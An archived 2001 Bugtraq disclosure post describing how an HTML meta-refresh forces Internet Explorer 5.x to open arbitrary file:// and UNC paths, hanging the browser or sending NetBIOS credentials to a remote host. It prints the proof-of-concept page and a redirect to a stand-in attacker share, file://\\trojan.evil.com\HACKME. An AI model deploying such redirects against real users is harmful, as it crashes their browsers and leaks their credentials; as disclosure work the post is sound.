Bugtraq mailing list archives

Internet Explorer file:// URL issues

From: Chad Loder <cloder () acm org>
Date: Wed, 18 Jul 2001 12:19:21 -0700

At 09:09 AM 7/18/2001, aland () striker ottawa on ca wrote:

  I question the wisdom of browsers which allow external web pages to
reference local files via 'file://' URLs.


I brought the following issue to Microsoft's attention in March.

The Internet Explorer browser (I tested versions 5.0 and 5.5)
can be made automatically to open any file:// URLs by including
the following source code in the HTML page:

<HTML>
<HEAD>
<TITLE>this may hang your browser</TITLE>
<META HTTP-EQUIV="REFRESH" CONTENT="0;URL=file://whatever">
</HEAD>
<BODY>This page has moved. Please update your links.</BODY>
</HTML>

This happens without regard to the security zone settings on
the browser (IMHO, automatic redirects of ANY kind should not
be allowed from untrusted-zone pages -- Microsoft seems to
disagree with me).

Why is this a big deal? Because, along the lines of these
other "special file name" issues we've seen over the last
week, you can cause Internet Explorer to open (or attempt
to open) any special file name.

Using the URL file://C:\PRN in the above page-code causes IE 5.x to
permanently hang on Win2k. You have to kill it from the
Task Manager (which brings down all running instances of
IE, quite an annoyance).

Any UNC path can be used. This includes all special device
names (fun stuff like the \\$IPSEC device, maybe?), including
special "remote share" style UNC paths, things like
\\.\PhysicalDrive0, local and remote named pipes (!!),
mailslots, etc.

What's even MORE menacing to me is that UNC paths can
include references to file shares on remote computers
(on the local LAN *or* on the Internet) e.g.:

file://\\trojan.evil.com\HACKME

When Windows tries to open UNC paths like that, by
default it sends the current user's credentials to that
remote host via NetBIOS. So the end result is, any page
on the internet can cause your browser to redirect to
an arbitrary remote NetBIOS host, which causes your credentials
to be sent to that host. The host can be a Trojan which
simply cracks SMB credentials and pairs them with IP
addresses.

Again I stress that this seems to happen regardless of
the security zone settings (you can set up which zones
have remote login enabled, etc., and from my experiments
this bypasses that setting). This would clearly be
contrary to the user's expectations.

When I brought this to Microsoft's attention, their response
was as follows:

        (a) Can you demonstrate an exploit on a system that has
        outgoing NetBIOS ports blocked?

        (b) Causing a user-mode program to hang is not a serious
        security issue (in general, I tend to agree with this)

Microsoft's attitude seems to be "We'll wait until someone
writes an exploit before we attempt to fix the bug." Anyways,
firewall administrators SHOULD be blocking outgoing NetBIOS
ports if at all possible.

And the hanging of a user-mode app, in the absence of buffer
overflows or other stuff, is not (IMHO) that big of a deal.
But given that 5 minutes of experimentation yielded this kind
of hang, I wonder how long it will take for someone to come
up with a real exploit.

Related issues have been discussed before, e.g.

        http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0201.html


        Chad Loder
        Principal Engineer
        Rapid 7, Inc.
        www.rapid7.com

Current thread:

Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) Ishikawa (Jul 18)
- Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) Robin Houston (Jul 18)
- Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) David F. Skoll (Jul 18)
- Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) aland (Jul 18)
  - Internet Explorer file:// URL issues Chad Loder (Jul 19)
  - Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) Glynn Clements (Jul 19)
- Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) Jeffrey W. Baker (Jul 18)
- Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) Richard Kettlewell (Jul 19)
  - Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) George Staikos (Jul 20)
- <Possible follow-ups>
- Re: Linux, too, sot of (Windows MS-DOS Device Name DoS vulnerabilities) der Mouse (Jul 19)